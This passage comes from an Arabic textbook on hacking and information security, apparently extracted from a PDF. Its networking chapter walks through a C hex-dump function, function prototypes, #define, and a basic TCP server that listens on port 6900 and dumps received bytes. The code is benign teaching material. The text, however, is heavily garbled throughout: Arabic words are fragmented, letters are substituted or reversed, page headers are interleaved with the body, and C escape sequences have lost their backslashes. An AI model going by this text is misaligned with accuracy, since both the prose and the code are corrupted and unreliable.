printf("%02x ", data_buffer[i]); // Display byte in hex.
if(((i%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf(" ");
printf("| ");
for(j=(i-(i%16)); j <= i; j++) { // Display printable bytes from line.
byte = data_buffer[j];
if((byte > 31) && (byte < 127)) // Outside printable char range
printf("%c", byte);
else
printf(".");
}
printf("n"); // End of the dump line (each line is 16 bytes)
} // End if
} // End for
}
‫ذذه‬
function
‫ذ‬ ُ
‫تأط‬
Parameters”
“Two
:‫م‬ُ‫ذ‬..
‫األول‬
"
pointer to a buffer
"
‫بت‬ ‫سنقوم‬
‫َم‬‫ك‬ ‫عىل‬ ً‫ء‬‫بنا‬ ‫نحن‬ ‫مساحته‬ ‫حديد‬
‫استقباهلا‬ ‫سنتوقع‬ ‫الذي‬ ‫البيانات‬
،
‫والثاين‬
‫ذو‬
integer
‫مل‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬‫ل‬
count
‫ال‬ ‫لك‬‫ت‬ ‫جم‬َ‫حل‬
bytes
‫سالة‬‫ر‬ ‫نا‬َ‫ل‬ ‫ع‬َ‫ب‬‫ط‬َ‫ي‬‫ل‬
"
received … of bytes
."
‫ال‬ ‫لىل‬ ‫ل‬ ُ
‫ندط‬ ‫م‬ُ‫ث‬
Loop
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[135]
‫ال‬ ‫د‬َ‫ع‬‫ب‬ ‫لنقوم‬
bytes
‫الشاش‬ ‫عىل‬ ‫عرضها‬ ‫أجل‬ ‫من‬
‫ة‬
‫أن‬ ً‫ا‬‫مسبق‬ ‫لنا‬ُ‫ق‬ ‫وكام‬ ،
‫بحاج‬ ‫نا‬
‫ة‬
‫ال‬ ‫بصيغة‬ ‫لعرضهم‬
Hex
‫أقىص‬ ‫وبحد‬
16 bytes
..‫الواحد‬ ‫الصف‬ ‫يف‬
‫دالة‬ ‫له‬ ‫قسنستخدم‬ ،‫كذلك؟‬ ‫أليس‬ ،!ً‫ا‬‫رشط‬ ‫عترب‬ُ‫ي‬ ‫ذذا‬ ‫األطري‬
If
:‫بأمرين‬ ‫لنا‬ ‫لتقوم‬

‫بعمل‬ ‫ستقوم‬ :‫األول‬
‫كل‬ ‫بني‬ ‫قصل‬
"
two digits
"
‫َني‬‫ت‬َ‫ق‬‫سا‬َ‫م‬ ‫قدار‬‫م‬‫ب‬
"
two spaces
."

‫ال‬ ‫ل‬‫َم‬‫ت‬‫يك‬ ‫عندما‬ :‫الثاين‬
byte
‫رقم‬
16
‫س‬
‫الرمز‬ ‫بوضع‬ ‫تقوم‬
"
|
"
‫ب‬ ‫متبوع‬
"
two spaces
"
‫ح‬‫موض‬ ‫ذو‬ ‫كام‬ ً‫ا‬‫أيض‬
.‫الكود‬ ‫يف‬
‫ال‬ ‫عن‬ ‫ماذا‬ ‫واآلن‬
Printable data
‫ال‬ ‫بجانب‬ ‫تأيت‬ ‫التي‬ ‫وذي‬ ‫؟‬
"
16 bytes of Hex
."
‫بعمل‬ ً‫ا‬‫أيض‬ ‫سنقوم‬
Loop
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ل‬‫داط‬ ‫طرى‬ُ‫أ‬
bytes
‫ال‬ ‫نها‬‫م‬ ‫ط‬‫َق‬‫ت‬‫َل‬‫ن‬‫ل‬
printable characters
.
‫ا‬ ‫الرشط‬ ‫ذذا‬ ‫ما‬ ‫ولكن‬
!‫مألوف‬ ‫لغري‬
if((byte > 31) && (byte < 127))
‫من‬ ‫بأكرب‬ ‫نعني‬ ‫ماذا‬
31
‫من‬ ‫أصغر‬ ‫و‬
127
‫؟‬
.
‫ال‬ ‫ذذا‬ ‫طارج‬ ‫تقع‬ ‫التي‬ ‫نارص‬َ‫ع‬‫ال‬ ‫باعة‬‫ط‬ ‫عدم‬ ‫لنا‬ ‫دد‬ ُ
‫حي‬ ‫رشط‬ ‫ذذا‬
range
‫ال‬ ‫من‬
character
‫طارج‬ ‫عنارص‬ ‫صادقت‬ ‫ولذا‬
‫منها‬ ً‫ال‬‫بد‬ ‫ستطبع‬ ‫ولكن‬ ،!‫بعرضها‬ ‫تقوم‬ ‫قلن‬ ،‫النطاق‬ ‫ذذا‬
(.)
‫ققط‬
.
‫ول‬ ..‫نعم‬
‫ال‬ ‫ذذه‬ ‫ما‬ ‫كن‬
127
‫حال؟‬ ‫بأي‬
‫ال‬ ‫لهنا‬
ASCII table
ASCII, abbreviated from American Standard Code for Information Interchange, is a character-
encoding scheme. ASCII codes represent text in computers, communications equipment, and
other devices that use text. Most modern character-encoding schemes are based on ASCII,
though they support many additional characters.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[136]
‫ال‬ ‫وذذا‬
table
‫دالة‬ ‫يف‬ ‫املذكور‬ ‫الرشط‬ ‫أكثر‬ ‫لنا‬ ‫يوضح‬ ‫ذذا‬ ،‫ِبم‬ ‫اخلاص‬
(
if
.)
‫ال‬ ‫باعة‬‫ط‬‫ب‬ ‫يقوم‬‫ل‬ ‫الرشط‬ ‫نا‬‫د‬‫د‬ َ‫ح‬ ‫لقد‬
characters
‫ال‬ ‫بني‬ ‫ة‬َ‫ع‬‫الواق‬
(
31
‫و‬
127
)
،
ً‫ال‬‫ث‬َ‫م‬َ‫ق‬
127
‫تعني‬
Del
ُ‫ن‬‫َح‬‫ن‬‫و‬ ،‫الكيبورد‬ ‫يف‬
.!‫الكود‬ ‫َتائج‬‫ن‬ ‫يف‬ ُ‫ه‬‫ُريد‬‫ن‬ ‫ال‬
‫ال‬ ‫يف‬ َ‫ر‬َ‫ه‬َ‫ظ‬ ‫لذا‬ ‫ن‬‫ولك‬
bytes
‫بطباعة‬ ‫قسنقوم‬
(dot)
.ُ‫ه‬‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬
!!‫جيد‬
.
‫ال‬ ‫ذذه‬ ‫بإضاقة‬ ‫سنقوم‬
function
‫امللف‬ ‫لىل‬ ً‫ا‬‫أيض‬
error.h
..
‫ا‬ ‫قسيتم‬
‫ست‬
‫خدا‬
ُ‫م‬ ‫كل‬ َ
‫ش‬‫ب‬ ‫مها‬
‫ر‬ ِّ‫تكر‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[137]
Some Definitions
ُ‫ذ‬
‫ن‬
‫أ‬ ‫أن‬ ُ
‫ب‬‫ح‬ُ‫أ‬ ‫ُقطتني‬‫ن‬ َ‫اك‬
‫عنهم‬ ‫حتدث‬
‫قب‬
،‫ه‬ َ‫قر‬َ‫ف‬‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬‫م‬ ‫اإلنتهاء‬ َ
‫ل‬
‫ال‬ ‫م‬ُ‫وذ‬
Function Prototype
‫ال‬ ‫و‬
Define
#
Function prototype
‫ال‬ ‫تعريف‬ ‫ذذا‬
"
function prototype
:"
a function prototype or function interface is a declaration of a function that specifies the
function's name and type signature (parameter types, and return type), but omits the function
body. While a function definition specifies how the function does what it does (the
"implementation"), a function prototype specifies its interface.
‫استخدمنا‬ ‫لقد‬
:‫بمثال‬ ‫يعنيه‬ ‫ما‬ ‫لك‬ ‫سأوضح‬ ،‫األكواد‬ ‫بعض‬ ‫يف‬ ً‫ا‬‫سبق‬ُ‫م‬ ‫ه‬
Consider the following function prototypes:
int myfunction(int n);
This prototype specifies that in this program, there is a function named "myfunction" which
takes a single integer argument "n" and returns an integer.
‫ال‬ ‫ذذه‬ ‫كتابة‬ ‫سيتم‬ ‫الربنامج‬ ‫داطل‬ ‫ما‬ ٍ‫مكان‬ ‫ويف‬
function
.!‫الفعلية‬
#Define
‫ال‬ ‫ذذا‬
Directive
‫احلقيق‬ ‫يف‬ ‫ذو‬ ،‫القادمة‬ ‫األكواد‬ ‫يف‬ ‫مه‬‫َستخد‬‫ن‬ َ
‫س‬ ً‫ا‬‫أيض‬ ،‫عليه‬ ‫طلقون‬ُ‫ي‬ ‫كام‬
‫ة‬
‫ال‬ ‫شبه‬ُ‫ي‬
variable
‫ليس‬ ُ‫ه‬‫لكن‬
‫با‬ ‫قيمته‬ ‫يف‬ ‫يتحكم‬ ‫أن‬ ‫للربنامج‬ ‫مكن‬ُ‫ي‬ ‫تغري‬ُ‫مل‬‫قا‬ ،!‫كذلك‬
َ
‫َرب‬‫ت‬‫ع‬ُ‫ي‬ ‫اآلطر‬ ‫بينام‬ ،‫ستمرار‬
"
constant name
،"
‫قال‬
#define
‫ال‬ ‫ذا‬َ‫ذ‬ ‫استخدام‬ ‫ن‬‫م‬ ‫ُك‬‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬ ‫ذذا‬
const value
‫الكود‬ ‫داطل‬ ‫مكان‬ ‫أي‬ ‫يف‬
‫د‬ِّ‫د‬َ‫ُح‬‫ن‬ ‫ما‬َ‫ند‬‫ع‬ ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ ،
port
‫ل‬‫َقب‬‫ت‬‫َس‬‫ن‬‫ل‬ ‫ينه‬َ‫ع‬‫ب‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[138]
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ َ
‫س‬َ‫ق‬ ،‫ليه‬َ‫ع‬ ‫اإلتصال‬
define
‫ال‬ ‫ذا‬َ‫هل‬
port
‫بأ‬ ‫ج‬َ‫م‬‫الربنا‬ ‫داية‬‫ب‬ ‫يف‬
:‫باآليت‬ ُ‫ه‬‫ُخرب‬‫ن‬ ‫ن‬
"
‫لفظة‬ ‫وجدت‬ ‫ما‬ ‫متى‬
port
‫م‬ُ‫ق‬
‫ه‬‫قم‬ َ‫ر‬‫ب‬ ‫ا‬‫باستبداهل‬
"
،
ً‫ال‬‫مث‬ ‫وذو‬
3544
:‫ييل‬ ‫كام‬
#define port 3544
‫ح‬َ‫ب‬‫ص‬َ‫أ‬ ‫لقد‬
‫نا‬
‫ز‬‫جاذ‬ ‫اآلن‬
‫ين‬
‫ال‬
‫القادمة‬ ‫الفقرة‬ ‫ستقبال‬
..
‫سنقوم‬
‫بطرح‬
‫ال‬ ‫باستخدام‬ ‫عميل‬ ‫مثال‬
"
Socket functions
."
Server Example
‫سنقو‬ ‫املثال‬ ‫ذذا‬ ‫يف‬
‫ل‬ ‫كود‬ ‫بكتابة‬ ‫م‬
Server
‫ال‬ ‫بانتظار‬ ‫يقوم‬
session
‫ال‬ ‫من‬
client
:‫ييل‬ ‫ا‬‫مل‬ ً‫ا‬‫قق‬‫و‬
The server listens for TCP connections on port 6900, and when a client connects,
it (the server) sends a message “Hello, Server”.
‫قبال‬‫باست‬ ‫بدأ‬َ‫ي‬ ‫م‬ُ‫ث‬
Data
‫ال‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬
client
‫لىل‬
‫ال‬ ‫لق‬َ‫غ‬ ‫م‬‫ت‬َ‫ي‬ ‫أن‬
connection
.
:‫التفاصيل‬ ‫لنشاذد‬ ‫ذيا‬
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[139]
#define PORT 6900 // The port users will be connecting to
int main(void) {
int sockfd, new_sockfd; // Listen on sock_fd, new connection on new_fd
struct sockaddr_in host_addr, client_addr; // My address information
socklen_t sin_size;
int recv_length=1, yes=1;
char buffer[1024];
if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal("in socket");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1)
fatal("setting socket option SO_REUSEADDR");
host_addr.sin_family = AF_INET; // Host byte order
host_addr.sin_port = htons(PORT); // Short, network byte order
host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP.
memset(&(host_addr.sin_zero), '0', 8); // Zero the rest of the struct.
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct
sockaddr)) == -1)
fatal("binding to socket");
if (listen(sockfd, 5) == -1)
fatal("listening on socket");
while(1) { // Accept loop.
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[140]
printf("server: got connection from %s port %dn",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
send(new_sockfd, "Hello, servern", 13, 0);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
while(recv_length > 0) {
printf("RECV: %d bytesn", recv_length);
dump(buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close(new_sockfd);
}
return 0;
}
:!‫ث‬ُ‫حيد‬ ‫ما‬ ‫بتوضيح‬ ‫لنبدأ‬
‫امللف‬ ‫بإضاقة‬ ‫منا‬ُ‫ق‬
#include "error.h"
‫الثالث‬ ‫ن‬‫م‬ ٍّ‫أي‬ ‫استدعاء‬ ‫من‬ ‫نتمكن‬ ‫كي‬
functions
‫لليهم‬ ‫شار‬ُ‫مل‬‫ا‬
.ً‫ا‬‫سابق‬
‫ال‬ ‫استخدمنا‬ ً‫ا‬‫أيض‬
#define
‫ا‬ ‫ُحدد‬‫ن‬‫ل‬
‫ل‬
"
port whom our server is listening on
،"
‫وذو‬
6900
.
‫العبار‬ ‫ِبذه‬ ‫نقصد‬ ‫ماذا‬
‫ة‬
:
int sockfd, new_sockfd;
‫؟‬
‫ال‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬
file descriptor
‫؟‬
.
‫أي‬ ‫أو‬ ‫قتحه‬ ‫يتم‬ ‫ملف‬ ‫أي‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
Socket
‫حدوث‬ ‫لىل‬ ‫سيؤدي‬ ‫لنشاؤه‬ ‫يتم‬
Entry
‫ال‬ ‫داطل‬
kernel
،
‫ال‬ ‫ذذا‬
entry
‫برقم‬ ‫عنه‬ ‫رب‬َ‫ع‬ُ‫ي‬
integer
‫ال‬ ‫يسمى‬
fd
،
‫ال‬ ‫أو‬ ‫الرقم‬ ‫ذذا‬
(
Entry
)
‫ك‬ ‫ستخدم‬ُ‫ي‬
reference
‫ال‬ ‫ذا‬‫هل‬
Socket
‫الذي‬ ‫لف‬َ‫مل‬‫ا‬ ‫أو‬
.‫تحه‬َ‫ق‬ ‫َم‬‫ت‬
‫ال‬ ‫قائدة‬ ‫ما‬ ‫ولكن‬.. ،!‫جيد‬ ‫ذذا‬
fd
‫الثاين؟‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[141]
‫ال‬ ‫منا‬َ‫َخد‬‫ت‬‫اس‬ ‫د‬َ‫ق‬ ‫ألننا‬ ‫َحتاجه‬‫ن‬ ‫سوف‬
fd
‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫أثناء‬ ‫األول‬
"
Listening for incoming connection
"
،
‫بينام‬
‫سنح‬
‫ل‬ ‫تاج‬
fd
‫نحتاج‬ َ
‫س‬ ‫أننا‬ ‫عنى‬َ‫م‬َ‫ب‬ ،‫ديد‬ َ‫ج‬
entry
‫ال‬ ‫داطل‬ ‫أطرى‬
kernel
‫ال‬ ‫ه‬‫ذ‬َ‫ِب‬ ‫طاصة‬
process
‫ال‬ ‫وذي‬ ‫اجلديدة‬
connection
.!‫ث‬ُ‫حد‬َ‫ي‬ َ
‫س‬ ‫الذي‬
‫ال‬ ‫َعريف‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
objects
‫ال‬ َ‫ن‬‫م‬ ‫ها‬‫باشتقاق‬ ‫منا‬ُ‫ق‬ ُ
‫حيث‬ ،‫ُريد‬‫ن‬ ‫التي‬
Struct
‫العام‬
:‫ترى‬ ‫كام‬
struct sockaddr_in host_addr, client_addr;
‫ال‬ ‫يات‬َ‫َو‬‫ت‬ ُ
‫حم‬ ‫ل‬‫حم‬َ‫ي‬ َ
‫س‬ ‫م‬ُ‫الذ‬‫ك‬ ‫أن‬ ‫ّر‬‫ك‬َ‫َذ‬‫ت‬
general structure
..
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫م‬ُ‫ث‬
declare
‫جري‬َ‫ي‬ َ
‫س‬ ،‫َغريات‬‫ت‬ُ‫مل‬‫ا‬ ‫عض‬َ‫ب‬‫ل‬
.‫بعد‬ ‫قيام‬ ‫يحهم‬‫َوض‬‫ت‬
‫ألول‬ ‫نأيت‬
function( )
‫ال‬ ‫وذي‬
socket( )
.
‫ثالثة‬ ‫ّا‬‫ن‬‫م‬ ‫ستحتاج‬.
Arguments
:
 Protocol family: IPv4
 Socket type: Stream (TCP)
 Number of protocols inside this family: 0 there is only one protocol! IPv4
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬
function
‫يمة‬‫ق‬ ‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬
int
‫ال‬ َ‫ي‬‫ذ‬
fd
‫ال‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬
socket
‫نا‬ُ‫ذ‬ ‫ها‬‫َخزين‬‫ت‬‫ب‬ ‫نقوم‬ َ
‫س‬
"
sockfd
."
‫بالطبع‬
‫سيحدث‬
call
‫لل‬
fatal( )
‫ك‬ ‫العملية‬ ‫ل‬ َ
‫ش‬َ‫ق‬ ‫حال‬ ‫يف‬
.‫الكود‬ ‫يف‬ ‫ح‬‫ض‬َ‫و‬ُ‫م‬ ‫ذو‬ ‫ام‬
‫لل‬ ‫َميض‬‫ن‬ ‫م‬ُ‫ث‬
function
‫التالية‬
‫وذي‬
setsockopt( )
‫ال‬ ‫ا‬‫الهل‬‫ط‬ ‫ن‬‫م‬ ‫د‬ِّ‫د‬َ‫ُح‬‫ن‬‫ل‬
options
‫ال‬ ‫ذا‬َ‫ِب‬ ‫ة‬َ‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬
socket
.
‫ال‬ ‫ذذه‬
options
‫موجود‬ ‫وغريذا‬
‫ة‬
‫املسار‬ ‫عىل‬
/user/include/asm/socket.h
‫نظر‬ ‫نلق‬ ‫دعنا‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫عىل‬
function
:
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[142]
‫ة‬‫د‬‫ع‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ ‫لهنا‬
Arguments
..
:‫هم‬‫يح‬‫َوض‬‫ت‬‫ب‬ ‫نقوم‬ َ
‫س‬

‫ال‬ ‫ذو‬ ‫األول‬
Socket
‫ال‬ ‫ُعطيها‬‫ن‬ َ
‫س‬ ،!‫منطقي‬ ‫وذذا‬ ،‫نفسه‬
fd
‫ال‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬
socket
.

‫ال‬
argument
‫ال‬ ‫نوع‬ ‫َحديد‬‫ت‬‫ل‬ ‫ت‬َ‫ع‬‫ض‬ُ‫و‬ ‫الثانية‬
option
(to set the level of the option)

‫ال‬
Argument
‫الثالث‬
‫ة‬
:
"
specifies the option itself
"
‫ال‬ ‫وذي‬
REUSEADDR
:‫ماييل‬ ‫ِبا‬ ‫نعني‬ ‫حيث‬
“Let the socket bind to a port, even if that port is in use!”
‫تح‬َ‫ق‬ ‫لة‬َ‫او‬ ُ
‫حم‬ ‫ند‬‫ع‬ ً‫ا‬‫أحيان‬ ‫ألنه‬
port
‫يكون‬ ‫بام‬ُ‫ر‬ ُ‫ه‬‫ألن‬ ،!‫تاح‬ُ‫م‬ ُ‫ه‬‫د‬‫َج‬‫ن‬ ‫ال‬ ‫ني‬َ‫ع‬ُ‫م‬
‫أي‬ ‫ل‬َ‫ب‬‫ق‬ ‫ن‬‫م‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫م‬
service
،‫طرى‬ُ‫أ‬
‫ال‬ ‫ذذا‬ ‫استخدام‬ ‫عىل‬ ‫بإجباره‬ ‫نا‬ُ‫ذ‬ ‫َقوم‬‫ن‬ َ
‫س‬َ‫ق‬
port
.

‫الرابع‬ ‫أما‬
‫ة‬
‫واخلامس‬
‫ة‬
‫م‬ُ‫ه‬َ‫ق‬
pointer
‫لل‬
data
‫اخلاص‬
‫ة‬
‫بال‬
option
،
‫وال‬
length
‫وذو‬ ‫ا‬‫ِب‬ ‫اخلاص‬
4 bytes
.
‫نوع‬ ‫ن‬‫م‬ ‫م‬ُ‫وذ‬
integer
‫ال‬ ‫ألن‬
SO_REUSEADDR
‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬
“32-bit integer for its value”
.
‫بال‬ ‫اخلاص‬ ‫للجزء‬ ‫سنميض‬ ‫واآلن‬
objects
‫اشت‬ ‫التي‬
‫ق‬
‫ق‬
‫ال‬ ‫من‬ ‫ناذا‬
struct sockaddr_in
.‫قليال‬ ‫عنهم‬ ‫لنتحدث‬
‫ال‬ ‫لعدادات‬ ‫بعمل‬ ‫سنقوم‬
(
host_addr structure
)
:‫التالية‬ ‫بالصفحة‬ ‫الكود‬ ‫يف‬ ‫يظهر‬ ‫كام‬

‫ال‬ ‫حددنا‬ ‫األول‬ ‫السطر‬ ‫يف‬
address family: IPv4
..

‫ال‬ ‫الثاين‬ ‫السطر‬ ‫ويف‬
port
‫وذو‬
6900
،
‫ال‬ ‫استخدام‬ ‫الحظ‬
function
‫ال‬ ‫ن‬‫م‬ ُ‫ه‬‫ل‬ِّ‫و‬َ‫ُح‬‫ت‬ َ
‫س‬ ‫التي‬
host
‫ال‬ ‫لىل‬
"
network byte order
،"
‫نوع‬ ‫ن‬‫م‬
short
،
‫أي‬
16 bits
.

‫ال‬ ‫ذ‬ ُ
‫يأط‬ ‫أن‬‫ب‬ ُ‫ه‬َ‫ل‬ ‫لنا‬ُ‫ق‬ ‫الثالث‬ ‫السطر‬ ‫يف‬ ‫م‬ُ‫ث‬
IP Address
.‫هاز‬‫اجل‬ ‫ذا‬َ‫ِب‬ ‫اخلاص‬ ‫احلايل‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[143]

‫باق‬ ‫بإكامل‬ ‫نقوم‬ َ
‫س‬ ‫الرابع‬ ‫السطر‬ ‫يف‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬
‫ال‬ ‫ي‬
Address Structure
‫وذم‬
8 bytes
،
‫بال‬ ‫ألذم‬َ‫م‬ ‫تم‬َ‫ي‬ َ
‫س‬
padding
.ً‫ا‬‫سابق‬ ‫أوضحنا‬ ‫كام‬
host_addr.sin_family = AF_INET; // Host byte order
host_addr.sin_port = htons(PORT); // Short, network byte order
host_addr.sin_addr.s_addr = 0; // Automatically fill with my IP.
memset(&(host_addr.sin_zero), '0', 8); // Zero the rest of the struct.
‫ال‬ ‫لىل‬ ‫نأيت‬ ‫م‬ُ‫ث‬
“bind( )”
if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct
sockaddr)) == -1)
fatal("binding to socket");
:‫باآليت‬ ‫وتقوم‬
It is used on the server side, and associates a socket with a socket address structure, a specified
local port number (in our case 6900), and IP address.
‫ال‬ ‫ذذه‬ ‫ذ‬ ُ
‫تأط‬
function
‫ال‬ ‫من‬ ‫جمموعة‬
Arguments
:‫كامييل‬

‫أوهلا‬
‫ال‬
file descriptor
‫بال‬ ‫اخلاص‬
socket
.

‫ال‬ ‫م‬ُ‫ث‬
Argument
‫ال‬ َ‫ي‬‫ذ‬َ‫و‬ ‫الثانية‬
address structure
،
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫أننا‬ ‫ظ‬‫الح‬
typecasting
‫ال‬ ‫لىل‬ ُ‫ه‬‫ل‬
"
general address structure
"
..
‫ال‬ ‫نة‬َ‫قار‬ُ‫م‬‫ب‬ ُ‫ه‬‫بنا‬ َ
‫َض‬ ‫الذي‬ ‫ثال‬‫امل‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬
IPv4 address structure
‫ما‬َ‫ند‬‫ع‬
‫ال‬ ‫عىل‬ ُ‫ه‬‫أسقطنا‬
"
Generic structure
"
.

‫ال‬ ‫م‬ُ‫ث‬
Argument
‫ال‬
‫ثالث‬
‫ة‬
َ‫ي‬‫وذ‬
“the length of the address structure ”
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[144]
‫بعدذا‬ ‫وتأيت‬
listen( )
‫ال‬ ‫ضع‬َ‫و‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬
incoming connections
‫يف‬
backlog queue
،
‫أي‬
‫بشكل‬ ‫بعضهم‬ َ
‫لف‬ َ
‫ط‬
‫لل‬ ‫األقىص‬ ‫احلد‬ ‫حتديد‬ ‫تم‬ ‫وقد‬ ،‫ع‬‫تتاب‬ُ‫م‬
“connections”
‫ب‬ ‫لها‬‫َقب‬‫ت‬‫َس‬‫ت‬ ‫التي‬
5
if (listen(sockfd, 5) == -1)
fatal("listening on socket");
‫ال‬ ‫َقوم‬‫ت‬ ‫م‬ُ‫ث‬
accept( )
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫بول‬ُ‫ق‬‫ب‬
connections
.
‫آطر‬ ‫دور‬ ‫جاء‬ ‫واآلن‬
function
‫ال‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ
‫س‬ ‫التي‬ ‫وذي‬
connections
:‫باألسفل‬ ‫بالكود‬ ‫كام‬
‫الرشط‬ ‫ذذا‬ ‫ُالحظ‬‫ن‬
:
while(1)
..
‫قا‬
‫لعدد‬
1
‫عني‬َ‫ي‬ ‫نا‬ُ‫ذ‬
True
.
‫و‬
‫منا‬َ‫َخد‬‫ت‬‫اس‬
fd
‫ديد‬ َ‫ج‬
َ‫ت‬ ‫ذل‬ ،
‫ر‬‫ك‬َ‫َذ‬‫ت‬
‫ال‬
‫ب؟‬َ‫ب‬ َ
‫س‬
.
‫ال‬ ‫ستبدأ‬
accept( )
‫ال‬ ‫تشبه‬ ‫قهي‬ ،‫عملها‬
bind( )
‫ال‬ ‫سنستبدل‬ ‫أننا‬ ‫لال‬
IP address
‫اخلاص‬
‫بال‬
Server
‫بال‬
IP Address
‫بال‬ ‫اخلاص‬
client
.
So.. the return from accept( ) function is new file descriptor “new_sockfd” for the accepted
connection. As follows:
while(1) {
sin_size = sizeof(struct sockaddr_in);
new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr,
&sin_size);
if(new_sockfd == -1)
fatal("accepting connection");
َ
‫س‬
‫دالة‬ ‫م‬‫َخد‬‫ت‬‫َس‬‫ن‬
printf( )
‫ال‬ ‫نا‬َ‫ل‬ ‫ع‬َ‫ب‬‫َط‬‫ت‬‫ل‬
IP Address
‫بال‬ ‫اخلاص‬
client
‫ال‬ ‫يغة‬‫ص‬‫ب‬
"
ASCII dotted notation
،"
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[145]
‫بال‬ ً‫ا‬‫تبوع‬َ‫م‬
port number
‫بال‬ ‫اخلاص‬
client
:‫ييل‬ ‫كام‬ .
printf("server: got connection from %s port %dn",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
‫تأيت‬ ‫ثم‬
send( )
،
:‫العائلة‬ ‫هلذه‬ ‫تنتمي‬ ‫وذي‬
send() and recv(), or write() and read(), or sendto() and recvfrom(),
They are used for sending and receiving data to/from a remote socket.
‫ال‬ ‫سيقوم‬
Server
‫بإرسال‬
string
‫ال‬ ‫لىل‬
client
‫ال‬ ‫نجاح‬ ‫قور‬
connection
‫ن‬‫َو‬‫ك‬ُ‫م‬ ،
‫ة‬
‫من‬
13 bytes
،‫باألسفل‬ ‫يظهر‬ ‫كام‬
‫آطر‬
argument
‫ال‬ ‫هلذه‬
function
‫ال‬ ‫ذو‬
flags
،
.‫بصفر‬ ُ‫ه‬‫قيمت‬ ‫بوضع‬ ‫قمنا‬
send(new_sockfd, "Hello, servern", 13, 0);
‫ال‬ ‫دور‬ ‫يأيت‬ ‫ثم‬
receive( )
‫ال‬ ‫تستقبل‬‫ل‬
strings
‫ال‬ ‫من‬
client
،
‫تستقبل‬ ‫حيث‬
‫من‬ ‫أكثر‬
Arguments
،
‫ال‬ ‫منها‬
buffer
.
‫ال‬ ‫ذذا‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬
buffer
‫؟‬
ُ‫ه‬‫حجم‬ ‫وحددنا‬ ،‫الربنامج‬ ‫بداية‬ ‫يف‬ ُ‫ه‬‫قنا‬‫ر‬َ‫ع‬ ‫لقد‬
1024
،
‫ال‬ ‫ذذا‬
Buffer
‫اآل‬ ‫عن‬ ِّ
‫رب‬َ‫ع‬ُ‫ي‬
:‫يت‬
“The maximum length to read from the socket”
‫وآطر‬
Argument
‫تستقبله‬
